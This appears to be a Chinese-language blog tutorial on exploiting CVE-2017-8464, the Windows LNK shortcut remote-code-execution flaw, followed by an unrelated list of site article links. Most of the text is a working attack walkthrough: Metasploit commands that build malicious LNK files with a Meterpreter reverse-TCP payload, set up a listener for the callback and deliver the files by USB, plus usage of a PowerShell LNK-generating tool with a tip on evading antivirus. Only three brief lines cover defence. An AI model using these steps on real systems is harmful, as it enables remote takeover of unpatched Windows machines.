“震网三代”(CVE-2017-8464)的几种利用方法与防范
早在6月13日,微软发布补丁修复编号为CVE-2017-8464的漏洞,本地用户或远程攻击者可以利用该漏洞生成特制的快捷方式,并通过可移动设备或者远程共享的方式导致远程代码执行,追溯到以前,NSA就承认利用过相似漏洞且以“Olympic Game”为代号研发震网病毒,来阻止伊朗发展核武。
CVE-2017-8464漏洞影响版本:
Windows 7 Windows 8.1 Windows RT 8.1 Windows 10 Windows Server 2008 Windows Server 2008 R2 Windows Server 2012 Windows Server 2012 R2 Windows Server 2016
利用
1)在Metasploit-Framework中利用CVE-2017-8464
1.首先下载最新的zip包【点此下载】,下载完成后将压缩包内modules/exploits/windows/fileformat中的cve_2017_8464_lnk_rce.rb复制到目录/usr/share/metasploit-framework/modules/exploits/windows/fileformat下。
2.仅复制rb文件会出错,须再将压缩包内data/exploits中的cve-2017-8464文件夹复制到/usr/share/metasploit-framework/data/exploits中。
3.打开终端
msfconsole
use exploit/windows/fileformat/cve_2017_8464_lnk_rce
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [你的IP地址]
exploit
之后/root/.msf4/local中就会生成我们想要的文件了,生成这么多和盘符有关,都留着也不占地方。
4.继续输入命令
use multi/handler
set paylaod windows/meterpreter/reverse_tcp
set LHOST [你的IP地址]
run
5.将可移动磁盘插入靶机中,如果靶机开启了自动播放,选择浏览文件时即可回弹。
演示:
*2)PowerShell
这个使用Powershell的方法并非先前网络上流传的CVE-2017-8464复现方法。
首先下载Export-LNKPwn.ps1 <点击阅读原文查看该文件>
注意:
-需要4.0或以上.NET库版本,作者使用了一些只有PowerShell 5.0才有的构造函数(如new()),他打算将版本要求降低到.NET 3.5 和PowerShell 2.0,这样的话模块在所有目标环境中都能被载入内存。 -作者想拓展函数,让用户可以生成原始的震网LNK exp(CVE-2010-2568),并解决绕过问题(CVE-2015-0096). -杀毒软件会处理你的LNK,多准备来躲避检测!
参数说明:
LNKOutPath:本地保存LNK文件的全路径。
TargetCPLPath:本地/远程目标cpl的全路径。
Type:所使用的FolderDataBlock类型,有“SpecialFolderDataBlock”和“KnownFolderDataBlock”两种。
使用示例:
C:PS> Export-LNKPwn -LNKOutPath C:SomeLocalPath.lnk -TargetCPLPath C:TargetCPLPath.cpl -Type SpecialFolderDataBlock
C:PS> Export-LNKPwn -LNKOutPath C:SomeLocalPath.lnk -TargetCPLPath C:TargetCPLPath.cpl -Type KnownFolderDataBlock
演示视频:
3)Python脚本
使用较为方便,点击阅读原文查看。
C)防范
1.及时打上相应补丁
2.关闭USB自动播放
3.安装杀毒软件
- 被解放的姜戈06 假作真时
- idea 创建的maven+spring+mybatis项目整合 报错无法创建bean
- 代数几何:点,线,抛物线,圆,球,弧度和角度
- 被解放的姜戈05 黑面管家
- 用数据来告诉你2018年的未来趋势
- JavaWeb(三)JSP之3个指令、6个动作、9个内置对象和4大作用域
- 被解放的姜戈03 所谓伊人
- JS魔法堂: Native Promise Only源码剖析
- JavaWeb(三)JSP概述
- 人工智能拥有意识,仅是一个时间问题而已
- sqlserver 配置c3p0 连接池
- spring mvc 返回图片的请求
- JavaWeb(二)cookie与session的应用
- JS魔法堂:函数重载 之 获取变量的数据类型
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- keras 回调函数Callbacks 断点ModelCheckpoint教程
- Mac下快速搭建PHP开发环境步骤详解
- PHP常用工具函数小结【移除XSS攻击、UTF8与GBK编码转换等】
- Ajax+PHP实现的模拟进度条功能示例
- python实例化对象的具体方法
- PHP5.6.8连接SQL Server 2008 R2数据库常用技巧分析总结
- YII框架关联查询操作示例
- Keras之fit_generator与train_on_batch用法
- django美化后台django-suit的安装配置操作
- python读取excel进行遍历/xlrd模块操作
- 浅谈Keras的Sequential与PyTorch的Sequential的区别
- python 制作python包,封装成可用模块教程
- 使用python脚本自动生成K8S-YAML的方法示例
- Python虚拟环境库virtualenvwrapper安装及使用
- tp5框架内使用tp3.2分页的方法分析